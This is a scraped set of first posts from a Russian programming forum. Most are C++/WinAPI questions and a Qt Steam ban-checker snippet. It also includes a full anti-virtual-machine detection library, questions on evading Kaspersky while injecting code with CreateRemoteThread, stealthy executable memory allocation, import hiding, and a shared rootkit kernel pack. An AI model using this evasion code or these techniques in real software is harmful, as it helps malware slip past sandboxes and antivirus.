    layoutAccount->addWidget(lineGamebans, 5, 1);

    layoutAccount->addWidget(new QLabel("Дней с последней блокировки:"), 6, 0);

    QLineEdit *lineDaysSinceLastBan = new QLineEdit();
    lineDaysSinceLastBan->setReadOnly(true);
    layoutAccount->addWidget(lineDaysSinceLastBan, 6, 1);

    layoutAccount->addWidget(new QLabel("Блокировка в сообществе (КТ):"), 7, 0);

    QLineEdit *lineCommunityBan = new QLineEdit();
    lineCommunityBan ->setReadOnly(true);
    layoutAccount->addWidget(lineCommunityBan , 7, 1);

    mainLayout->addWidget(boxAccountInfo);

    connect(btnFind, &QPushButton::clicked, this, [=]() {
        btnFind->setEnabled(false);
        const QString apiKey = lineApiKey->text();
        const QString steamName = MainWindow::getUrl(lineSteamProfileLink->text());
        QString steamID64;
        if (lineSteamProfileLink->text().contains("id")) {
            SteamUserProfileLink steamLink;
            steamLink.setApiKey(apiKey);
            if (steamLink.setConnection(steamName)) {
                steamID64 = steamLink.getSteamID64();
            }
            else {
                QMessageBox::information(this, "Сообщение", "Ошибка. Пользователя найти не удалось.\nПроверье ApiKey и ссылку на профиль.");
                btnFind->setEnabled(true);
                return ;
            }
        }
        else
            steamID64 = steamName;

        SteamPlayerSummaries playerSummaries;
        playerSummaries.setApiKey(apiKey);
        if (!playerSummaries.setConnection(steamID64)) {
            QMessageBox::information(this, "Сообщение", "Ошибка. Пользователя найти не удалось.\nПроверье ApiKey и ссылку на профиль.");
            btnFind->setEnabled(true);
            return ;
        }

        lineOriginalSteamLink->setText("https://steamcommunity.com/profiles/" + steamID64);

        lblAvatar->setPixmap(playerSummaries.getAvatar());
        lineTimeCreated->setText(playerSummaries.getTimeCreated());
        lineLastLogOff->setText(playerSummaries.getLastLofOff());

        SteamPlayerBans bans;
        bans.setApiKey(apiKey);
        bans.setConnection(steamID64);
        lineVacBanned->setText(bans.isVACBanned()? "ДА | " + QString::number(bans.getNumberOfVACBans()): "НЕТ");
        lineGamebans->setText(QString::number(bans.getNumberOfGameBans()));
        lineDaysSinceLastBan->setText(QString::number(bans.getDaysSinceLastBan()));
        lineCommunityBan->setText(bans.isCommunityBanned()? "ДА" : "НЕТ");
        btnFind->setEnabled(true);
    });
}

QString MainWindow::getUrl(QString steamProfileUrl)
{
    if (steamProfileUrl.back() == '/')
        steamProfileUrl = steamProfileUrl.left(steamProfileUrl.length() - 1);

    steamProfileUrl = steamProfileUrl.right(steamProfileUrl.length() - steamProfileUrl.lastIndexOf('/') - 1);
    return steamProfileUrl;
}

Готово! Теперь компилируем и любуемся результатом:
A9iEIM8KpSs.jpg

Вопрос по операторам сравнения
ID: 6765d804b4103b69df375bae
Thread ID: 10099
Created: 2005-11-05T22:24:00+0000
Last Post: 2005-11-06T11:16:30+0000
Author: WTF!!!
Replies: 6 Views: 3K

Учу потихоньку С++, совсем недавно начал, а вопросы, естественно имеются. Очень хотелось бы получить ответ на них, потому что иногда ответов на вопросы нет в книгах, а человек его знает. Тем более я убедился, что здесь есть знающие люди.
Вот собственно, сам код:

Code:Copy to clipboard

#include <iostream>
#include <conio.h>

int main()
{
    std::cout << " Hello, enter any number, i wil do with it something\n";
    float number;
    std::cin >> number;
    if ( number == 0)
    {
         std::cout << number;
         std::cout << "\n You have entered that numberwhich is the same, as Zero\n";
         }
    if (number > 1)
    {
               std::cout << " NUmber is more than 1";
               }
    if ( number < 1)
    {
         std::cout << " NUmber you have entered is smaler than 1";
}
else
std::cout << " WTF!? You have entered something extraordinary!";

getch();
}

Текст полная чушь, что то ничего другого в голову не пришло, но суть не в этом. Почему он выполняет не то что я хочу?
Например, если ввиду число 0, то оп , как и надо по идее, напишет "You have entered that numberwhich is the same, as Zero", но после этого и "NUmber you have entered is smaler than 1", то есть третий if. Хотя, по идее, NUmber же равен 0, а не больше одного, тем более выводить два if-а одновременно.

Прошу ответить на мой вопрос, может и очень глупый, но все мы когда то учились:)
С уважением, WTF. :pioneer:

C++ Boost Graph Library
ID: 6765d804b4103b69df375ba2
Thread ID: 6144
Created: 2005-12-26T10:37:06+0000
Last Post: 2005-12-26T10:37:06+0000
Author: Dron
Prefix: Мануал/Книга
Replies: 0 Views: 3K

C++ Boost Graph Library
Джереми Сик, Лай-Кван Ли, Эндрю Ламсдэйн
2006г.

Издание, являющееся переводом одной из книг серии "C++ in Depth", посвящено описанию Boost Graph Library (BGL) - библиотеки для построения структур данных и алгоритмов вычислений на графах, предназначенных для решения самых разнообразных задач: от оптимизации интернет-маршрутизации и планирования телефонных сетей до задач молекулярной биологии. Содержит развернутое описание BGL, демонстрирует примеры приложений к реальным задачам. Первая часть является полным руководством пользователя, начинается с введения понятий теории графов, терминологии и описания обобщенных алгоритмов на графах, знакомит пользователя со всеми основными возможностями библиотеки BGL. Вторая часть - полное справочное руководство, содержит документацию ко всем концепциям BGK, ее алгоритмам и классам.

:zns5: Скачать|Download

C/C++ компиляторы, IDE
ID: 6765d804b4103b69df375b27
Thread ID: 26270
Created: 2018-10-08T05:38:42+0000
Last Post: 2018-12-03T14:14:57+0000
Author: Quake3
Replies: 6 Views: 3K

Какие среды разработки вы используете для кодинга на Си?

Лично у меня основные проекты пишутся в студии. Visual Studio это стандарт де-факто для разработки под винду, с этим никто спорить не будет. Мне лично студия нравится наличием готовых инклудов и либов для винды и удобной пошаговой отладкой кода. Еще, есть хороший плагин для студии visual assist, ускоряющий написание кода (подсказки по функциям, параметрам и так далее). Вроде как в новых версиях подобная функция идет "из коробки", не знаю, я использую 2008 студию. Да, когда-то я считал что все это не "тру", что иде расслабляет, только нотепад, но работа на заказ изменила мои взгляды.
Из минусов студии - игры с CRT (либо тащить дллку, либо не юзать вообще, либо извраты с линковкой ХРшной либы).

Еще студия хороша тема, что можно прилинковать асм-файлы , т.е. юзать в одном проекте и Масм, и Си. Правда, ценность этого весьма сомнительна, ибо на асме уже мало кто пишет

Также неплохая вещь codeblocks , если надо накодить небольшое, и не хочется запускать студию, создавать проект, настраивать параметры..

Для создания простейших GUI приложений (билдеры, etc. ) я юзаю C++ builder. По факту, это тот же дельфи , только сишный синтаксис. Да, он тяжелый, тащит за собой кучу мусора, но в нем проще создать какой-то патчер, чем писать на чистом винапи. Да и, как бы в свете последних событий, когда малварь на сишарпе и питоне (!!!!) становится стандартном - размер уже никого не удивляет.

Детект виртуалок
ID: 6765d804b4103b69df375b2b
Thread ID: 24538
Created: 2013-08-12T10:35:51+0000
Last Post: 2014-11-05T09:17:48+0000
Author: Quake3
Replies: 5 Views: 3K

Функции из журнала "хакер", мб кому пригодится.

VirtualMachineDetect.h

Code:Copy to clipboard

//------------------------------------------------------------------------
//Функции для определения факта запуска приложения под виртуальной машиной
//   определяются VirtualBox, VMware, VirtualPC и Parallels Workstation
//------------------------------------------------------------------------
#include <windows.h>
#include <Tlhelp32.h>
#include <iphlpapi.h>

#pragma comment(lib, "IPHLPAPI.lib")

//обнаружение VMware с помощью backdoor-порта
bool VMwareDetect();

//обнаружение VirtualPC с помощью "неправильных" команд процессора
bool VirtualPCDetect();

//обнаружение VMware имени окна "VMSwitchUserControlClass"
bool VMwareWindowDetect();

//обнаружение VirtualBox имени окна "VBoxTrayToolWndClass"
bool VirtualBoxWindowDetect();

//обнаружение VMware по версии BIOS в реестре
bool VMwareBIOSDetect();

//обнаружение VirtualBox по версии BIOS видеоадаптера в реестре
bool VirtualBoxBIOSDetect();

//обнаружение Parallels Workstatin по наличию ключа PRLSACPI в реестре
bool ParallelsRegDetect();

//обнаружение VirtualBox по имени процесса "VBoxTray.exe"
bool VirtualBoxProcessDetect();

//обнаружение VirtualPC по имени процесса "vmusrvc.exe"
bool VirtualPCProcessDetect();

//обнаружение VMware по имени процесса "vmtoolsd.exe"
bool VMwareProcessDetect();

//обнаружение VirtualBox по имени объекта "Device\VBoxMiniRdrDN" и "Device\VBoxGuest"
bool VirtualBoxDevObjDetect();

//обнаружение VirtualPC по имени объекта "Device\\VMDRV"
bool VirtualPCDevObjDetect();

//обнаружение VirtualBox по идентификатору процессора
bool VirtualBoxCPUIDDetect();

//обнаружение VMware по идентификатору процессора
bool VMwareCPUIDDetect();

//обнаружение Parallels Workstatin по идентификатору процессора
bool ParallelsCPUIDDetect();

//обнаружение VirtualPC по MAC-адресу
bool VirtualPCMACDetect();

//обнаружение VirtualBox по MAC-адресу
bool VirtualBoxMACDetect();

//обнаружение VMware по MAC-адресу
bool VMwareMACDetect();

//обнаружение Parallels Workstatin по MAC-адресу
bool ParallelsMACDetect();

//обнаружение виртуальной машины по идентификатору жесткого диска
//для VirtualPC IDDisk - "DiskVirtual"
//для VirtualBox IDDisk - "DiskVBOX_HARDDISK"
//для VMware IDDisk - "Prod_VMware_Virtual"
bool VirtualMachineIDDiskDetect(char* IDDisk);

//обнаружение Parallels Workstatin по видеоадаптеру
bool ParallelsVideoCardDetect();

//обнаружение VirtualBox по видеоадаптеру
bool VirtualBoxVideoCardDetect();

//обнаружение VirtualPC по видеоадаптеру
bool VirtualPCVideoCardDetect();

VirtualMachineDetect.cpp

Code:Copy to clipboard

#include "VirtualMachineDetect.h"

//----------------------------------------------------------------------
bool VMwareDetect()
{
__try
	{
	__asm
  {
  mov eax, 0x564d5868
  mov ecx, 0x0A
  mov edx, 0x5658
  in eax, dx 
  }
	return true;
	}
__except(EXCEPTION_EXECUTE_HANDLER) 
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool VirtualPCDetect()
{
__try
	{
	__asm
  {
  xor ebx, ebx
  mov eax, 1
  __emit(0x0F)
  __emit(0x3F)
  __emit(0x07)
  __emit(0x0B)  
  }
	return true;
	}
__except(EXCEPTION_EXECUTE_HANDLER) 
	{
  return false;
	}
}
//----------------------------------------------------------------------
bool VMwareWindowDetect()
{
HWND VMwareWindow = NULL;
VMwareWindow = FindWindowA("VMSwitchUserControlClass",NULL);
if(VMwareWindow != NULL)
	{
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxWindowDetect()
{
HWND VBoxWindow = NULL;
VBoxWindow = FindWindowA("VBoxTrayToolWndClass",NULL);
if(VBoxWindow != NULL)
	{
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VMwareBIOSDetect()
{
HKEY rKey;
wchar_t RegKey[256];
wchar_t RegVMware[] = {L"VMware Virtual Platform"};
DWORD RegPath = sizeof(RegKey);

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"HARDWARE\\DESCRIPTION\\System\\BIOS",
    0,
    KEY_QUERY_VALUE,
    &rKey);

RegQueryValueEx(rKey,
    L"SystemProductName",
    NULL,
    NULL,
    (BYTE*)RegKey,
    &RegPath);

RegCloseKey(rKey);

if (memcmp(RegKey, RegVMware, 48) == 0)
	{	
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxBIOSDetect()
{
HKEY rKey;
wchar_t RegKey[256];
wchar_t RegVBox[] = {L"Oracle VM VirtualBox"};
DWORD RegPath = sizeof(RegKey);

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"HARDWARE\\DESCRIPTION\\System",
    0,
    KEY_QUERY_VALUE,
    &rKey);

RegQueryValueEx(rKey,
    L"VideoBiosVersion",
    NULL,
    NULL,
    (BYTE*)RegKey,
    &RegPath);

RegCloseKey(rKey);

if (memcmp(RegKey, RegVBox, 40) == 0)
	{
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool ParallelsRegDetect()
{
HKEY rKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"HARDWARE\\ACPI\\DSDT\\PRLS__\\PRLSACPI",
    0,
    KEY_QUERY_VALUE,
    &rKey) == ERROR_SUCCESS)
	{
	RegCloseKey(rKey);
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxProcessDetect()
{
wchar_t VBoxProcessName[] = {L"VBoxTray.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W); 
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VBoxProcessName, 24) == 0)
	{
  CloseHandle(hSnapShot);
  return true;
	}	
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VirtualPCProcessDetect()
{
wchar_t VirtualPCProcessName[] = {L"vmusrvc.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W); 
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VirtualPCProcessName, 22) == 0)
	{
  CloseHandle(hSnapShot);
  return true;
	}	
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VMwareProcessDetect()
{
wchar_t VMwareProcessName[] = {L"vmtoolsd.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W); 
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VMwareProcessName, 24) == 0)
	{
  CloseHandle(hSnapShot);
  return true;
	}	
}
while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxDevObjDetect()
{
if ((CreateFile(L"\\\\.\\VBoxMiniRdrDN",0,0,0,OPEN_EXISTING,0,0) !=
	INVALID_HANDLE_VALUE)||
	(CreateFile(L"\\\\.\\VBoxGuest",0,0,0,OPEN_EXISTING,0,0) !=
	INVALID_HANDLE_VALUE))
	{
	return true;
	}
else
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool VirtualPCDevObjDetect()
{
if (CreateFile(L"\\\\.\\VMDRV",0,0,0,OPEN_EXISTING,0,0) !=
	INVALID_HANDLE_VALUE)
	{
	return true;
	}
else
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool VirtualBoxCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
	{
	mov eax, 0x1
	cpuid
	mov eax, 0x40000000
	cpuid
	mov ID_1, ebx
	mov ID_2, ecx
	mov ID_3, edx
	}
if ((ID_1 == 0x00000340)&&(ID_2 == 0x00000340))
	{
	return true;
	}
else
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool VMwareCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
	{
	mov eax, 0x1
	cpuid
	mov eax, 0x40000000
	cpuid
	mov ID_1, ebx
	mov ID_2, ecx
	mov ID_3, edx
	}
if ((ID_1 == 0x61774d56)&&(ID_2 == 0x4d566572)&&(ID_3 == 0x65726177))
	{
	return true;
	}
else
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool ParallelsCPUIDDetect()
{
DWORD ID_1, ID_2, ID_3;
_asm
	{
	mov eax, 0x1
	cpuid
	mov eax, 0x40000000
	cpuid
	mov ID_1, ebx
	mov ID_2, ecx
	mov ID_3, edx
	}
if ((ID_1 == 0x70726c20)&&(ID_2 == 0x68797065)&&(ID_3 == 0x72762020))
	{
	return true;
	}
else
	{
	return false;
	}
}
//----------------------------------------------------------------------
bool VirtualPCMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x03) &&
	((BYTE)AdapterInfo->Address[2] == 0xff) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x12) &&
	((BYTE)AdapterInfo->Address[2] == 0x5a) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x1d) &&
	((BYTE)AdapterInfo->Address[2] == 0xd8) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x15) &&
	((BYTE)AdapterInfo->Address[2] == 0x5d) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x22) &&
	((BYTE)AdapterInfo->Address[2] == 0x48) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x0d) &&
	((BYTE)AdapterInfo->Address[2] == 0x3a) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x17) &&
	((BYTE)AdapterInfo->Address[2] == 0xfa) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x25) &&
	((BYTE)AdapterInfo->Address[2] == 0xae) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x50) &&
	((BYTE)AdapterInfo->Address[2] == 0xf2) ||
	((BYTE)AdapterInfo->Address[0] == 0x28) &&
	((BYTE)AdapterInfo->Address[1] == 0x18) &&
	((BYTE)AdapterInfo->Address[2] == 0x78) ||
	((BYTE)AdapterInfo->Address[0] == 0x60) &&
	((BYTE)AdapterInfo->Address[1] == 0x45) &&
	((BYTE)AdapterInfo->Address[2] == 0xbd) ||
	((BYTE)AdapterInfo->Address[0] == 0x7c) &&
	((BYTE)AdapterInfo->Address[1] == 0x1e) &&
	((BYTE)AdapterInfo->Address[2] == 0x52) ||
	((BYTE)AdapterInfo->Address[0] == 0x7c) &&
	((BYTE)AdapterInfo->Address[1] == 0xed) &&
	((BYTE)AdapterInfo->Address[2] == 0x8d) ||
	((BYTE)AdapterInfo->Address[0] == 0xdc) &&
	((BYTE)AdapterInfo->Address[1] == 0xb4) &&
	((BYTE)AdapterInfo->Address[2] == 0xc4))
	{
	delete(AdapterInfo);
	return true;
	}
else
	{
	delete(AdapterInfo);
	return false;
	}  
}
//----------------------------------------------------------------------
bool VirtualBoxMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x08) &&
	((BYTE)AdapterInfo->Address[1] == 0x00) &&
	((BYTE)AdapterInfo->Address[2] == 0x27) ||
	((BYTE)AdapterInfo->Address[0] == 0x08) &&
	((BYTE)AdapterInfo->Address[1] == 0x00) &&
	((BYTE)AdapterInfo->Address[2] == 0x20))
	{
	delete(AdapterInfo);
	return true;
	}
else
	{
	delete(AdapterInfo);
	return false;
	}  
}
//----------------------------------------------------------------------

bool VMwareMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x05) &&
	((BYTE)AdapterInfo->Address[2] == 0x69) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x0c) &&
	((BYTE)AdapterInfo->Address[2] == 0x29) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x1c) &&
	((BYTE)AdapterInfo->Address[2] == 0x14) ||
	((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x50) &&
	((BYTE)AdapterInfo->Address[2] == 0x56))
	{
	delete(AdapterInfo);
	return true;
	}
else
	{
	delete(AdapterInfo);
	return false;
	}  
}
//----------------------------------------------------------------------
bool ParallelsMACDetect()
{
PIP_ADAPTER_INFO AdapterInfo = NULL;
DWORD OutBufLen;
GetAdaptersInfo(AdapterInfo, &OutBufLen);
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
GetAdaptersInfo(AdapterInfo, &OutBufLen);
if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
	((BYTE)AdapterInfo->Address[1] == 0x1c) &&
	((BYTE)AdapterInfo->Address[2] == 0x42))
	{
	delete(AdapterInfo);
	return true;
	}
else
	{
	delete(AdapterInfo);
	return false;
	}  
}
//----------------------------------------------------------------------
bool VirtualMachineIDDiskDetect(char* IDDisk)
{
HKEY rKey;
char RegKey[4096];
DWORD RegPath = sizeof(RegKey);
DWORD Type = REG_SZ;

RegOpenKeyExA(HKEY_LOCAL_MACHINE,
    "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
    0,
    KEY_QUERY_VALUE,
    &rKey);

RegQueryValueExA(rKey,
    "0",
    NULL,
    &Type,
    (LPBYTE)RegKey,
    &RegPath);

RegCloseKey(rKey);

if (strstr(RegKey, IDDisk) != 0)
	{
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool ParallelsVideoCardDetect()
{
HKEY rKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_1AB8&DEV_4005&SUBSYS_04001AB8&REV_00",
    0,
    KEY_QUERY_VALUE,
    &rKey) == ERROR_SUCCESS)
	{
	RegCloseKey(rKey);
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VirtualBoxVideoCardDetect()
{
HKEY rKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00",
    0,
    KEY_QUERY_VALUE,
    &rKey) == ERROR_SUCCESS)
	{
	RegCloseKey(rKey);
	return true;
	}
return false;
}
//----------------------------------------------------------------------
bool VirtualPCVideoCardDetect()
{
HKEY rKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    L"SYSTEM\\CurrentControlSet\\Enum\\PCI\\VEN_5333&DEV_8811&SUBSYS_00000000&REV_00",
    0,
    KEY_QUERY_VALUE,
    &rKey) == ERROR_SUCCESS)
	{
	RegCloseKey(rKey);
	return true;
	}
return false;
}
//----------------------------------------------------------------------

Они же на пастебин
http://pastebin.com/ifRxHXC0
http://pastebin.com/j50TPtjn

сервер
ID: 6765d804b4103b69df375b37
Thread ID: 22629
Created: 2012-02-25T20:48:18+0000
Last Post: 2013-06-08T08:36:14+0000
Author: at0m
Replies: 10 Views: 3K

Собственно нужно сделать реализацию большого кол-ва соединений и обработки данных.
Пока расматриваю платформу Windows. Насколько эффективно использовать socket's

неявный вызов VirtualAlloc
ID: 6765d804b4103b69df375b4c
Thread ID: 22026
Created: 2011-07-28T20:44:39+0000
Last Post: 2011-07-30T07:39:51+0000
Author: Barack
Replies: 8 Views: 3K

Интересует как можно неявным образом вызвать VirtualAlloc с аттрибутами PAGE_EXECUTE_READWRITE ну или PAGE_EXECUTE_WRITECOPY

интересует не такое направление => GetProcAddress(Kernel32base,.....) или более низких аналогов -> LdrGetProcedureAddress -> sysenter

а такого плана => call LoadLibrary - при этом выполняется много апишек в системных дллках в том числе VirtualAlloc, но к сожаленью максимально PAGE_EXECUTE_READ
(VirtualProtect юзать не разрешается)

у кого какие догадки есть ?

ntdll.h ntdll.lib
ID: 6765d804b4103b69df375b58
Thread ID: 20763
Created: 2010-12-05T18:59:46+0000
Last Post: 2010-12-05T20:22:32+0000
Author: karabas-barabas
Replies: 3 Views: 3K

сабж, залейте кто-нить самые свежие версии файлов ntdll.h и ntdll.lib , а то в моих старых чота отсутствуют некоторые структуры и функи, не охота щас качать sdk wdk

Мини программа с WinAPI
ID: 6765d804b4103b69df375b59
Thread ID: 20548
Created: 2010-11-01T19:27:11+0000
Last Post: 2010-11-02T20:12:23+0000
Author: -StorM-
Replies: 6 Views: 3K

Вообщем шеф на работе вообще с ума сошел и для повышения квалификации,определения навыков сотрудников дал задание,написать программу на любом языке использующий WinAPI.
Что должна делать программа?запускаешь программу и она ждет пока в папке появится текстовый документы или несколько документов в которых написано откуда и куда копировать какие файлы,например,текстовик,а там C:\\temp
D:\\Folder,а так же еще должна быть возможность копирования файлов по маске,например все *jpg файлы.
Я в не силен в кодинге,но было оговорено вроде что-то типа вся программа на потоках построена должна быть и дали файлик мне,там типа условий и потоков:

- существует отдельная папка, где располагаются задания
- задания представляют собой простой текстовый файл, состоящий из двух частей

---------------------------------------------------------------
Для работы с потоками используются функция CreateThread.
ПОТОКИ
HANDLE CreateThread(
LPSECURITY ATTRIBUTES ProcAttr,
SIZT_T StackSize,
LPTHREAD_START_ROUTINE Func,
LPVOID Params,
DWORD Flags,
LPWORD ThreadId)

  1. Показывает NULL
  2. Размер стэка зависит от того, что делает поток
  3. Функция, которая будет запущена в качестве потока
  4. Параметр, который попадает в функцию как данные
  5. Создать, но не запускать
  6. Iв потока
    VOID ExitThread(DWORD ExitCode)
    Завершение потока.

BOOL TerminateThread(HANDLE h,
DWORD ExitCode)

DWORD [Suspend/Resume] Thread(HANDLE h)
Suspend – приостановить работу потока
Resume – возобновить работу потока
Действие функции Suspend является накапливаемым (если два раза запустить функцию SuspendThread одному и тому же потоку, то необходимо вызвать дважды ResumeThread)

BOOL SwitchToThread()
Вызвать планировщик системы.

DWORD SetThreadAffinitiMask(HANDLE h,
DWORD NetMask)
Уст. множество процессоров, на которых поток может работать.
Результат – предыдущая маска, в которой все работало

DWORD SetThreadIdealProcessor(HANDLE h,
DWORD NProc)
Устанавливаем для потока предпочитаемый процессор. Если все равно какой процессор, то вместо NProc ставим константу MAXIMUM_PROCESSOR.

Кодеры,кто возьмется мне помочь с этим делом?В долгу никогда не остаюсь,все будут довольны.Буду признателен за помощь

эмуляция CreateRemoteThread
ID: 6765d804b4103b69df375b5b
Thread ID: 18319
Created: 2009-09-15T20:13:11+0000
Last Post: 2010-10-13T21:38:22+0000
Author: jtysrtj
Replies: 5 Views: 3K

Внедряю код в процесс с помощью стандартной апи-функции CreateRemoteThread

все замечательно работает, но проактивка касперского палит вызов CreateRemoteThread, и ругается на подозрительную активность

если взять исходник CreateRemoteThread, видно что в ней используются функции kernel32, такие как BaseCreateStack, BaseInitializeContext и тд
но они не экспортируются kernel32

подскажите пожалуйста, возможно ли вызвать их ? если да, то как ?
или придется эмулировать CreateRemoteThread с помощью недокументированных функций ntdll ?
если да, то каким образом ?

Kernel Development Pack
ID: 6765d804b4103b69df375b63
Thread ID: 16881
Created: 2009-02-13T03:11:10+0000
Last Post: 2009-07-07T15:28:38+0000
Author: DeusTirael
Replies: 2 Views: 3K

Понадобился недавно Kernel Development Pack с rootkits, но все ссылки оказались битые.
Скачать удалось только с торрентов. Перезалил, может понадобится кому-нибудь.
Размер 84 Мб.
sendspace.com
rapidshare.de
filefactory.com

поиск адреса функции GetProcAddress
ID: 6765d804b4103b69df375b65
Thread ID: 17740
Created: 2009-06-09T13:28:10+0000
Last Post: 2009-06-11T18:50:13+0000
Author: karabas-barabas
Replies: 7 Views: 3K

вот такой сабж, нужно получение адреса функции GetProcAddress для последующего скрытия некоторых импортируемых функций в проге , попадались в инете варианты но так у меня и не заработали, мож у кого есть примерчик для с++ ?

c# Registry
ID: 6765d804b4103b69df375b68
Thread ID: 17431
Created: 2009-04-25T11:38:26+0000
Last Post: 2009-04-25T20:52:14+0000
Author: jen140
Replies: 3 Views: 3K

Добрий день . Помогите пожалуста с кодом .
(Win vista) Dep off , Сам сижу под админом , е визуал студио тоже.
Если без if , тогда все работает

static private bool ExistanceCheck(string Start, string SubKeyPath, string KeyName, string DefaultVal)//true , changed , false (unexistante , other value)
{
RegistryKey rk = Registry.LocalMachine;//fcking c#
if (Start == "HKCU")
{
rk = Registry.LocalMachine;
}
else
{
rk = Registry.CurrentUser;
}

rk = rk.OpenSubKey(SubKeyPath);
object valor = new Object();
valor = rk.GetValue(KeyName);
try
{
if (valor.ToString() == null)
{
return false;
}
}
catch (Exception)
{
return false;

}
if (ValueCheck(Start, SubKeyPath, KeyName, DefaultVal) == true)
{
return true;
}
else
{
return false;
}

}
static private bool ValueCheck(string Start, string SubKeyPath, string KeyName, string DefaultVal)//true , default, false other
{
RegistryKey rk;
rk = Registry.LocalMachine;//fcking c#
if (Start == "HKLM")
{
rk = Registry.LocalMachine;
}
else if (Start == "HKCU")
{
rk = Registry.CurrentUser;
}
rk = rk.OpenSubKey(SubKeyPath);
object valor = rk.GetValue(KeyName);
if (valor.ToString() == DefaultVal)
{
return true;
}
return false;

}

Click to expand...

Если идет так :

bool mrd = ExistanceCheck("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", "0");

Click to expand...

Все ок . А если биру "HKLM"

bool mrd = ExistanceCheck("HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", "0");

Click to expand...

Дает ошибку.

Object reference not set to an instance of an object.

valor = rk.GetValue(KeyName);

Click to expand...

...

Code:Copy to clipboard

RegistryKey rk = Registry.LocalMachine;//fcking c#
rk = rk.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
object valor = new Object();
valor = rk.GetValue("DisableRegistryTools");

И если поменяю местами

Code:Copy to clipboard

             RegistryKey rk = Registry.CurrentUser;//fcking c#
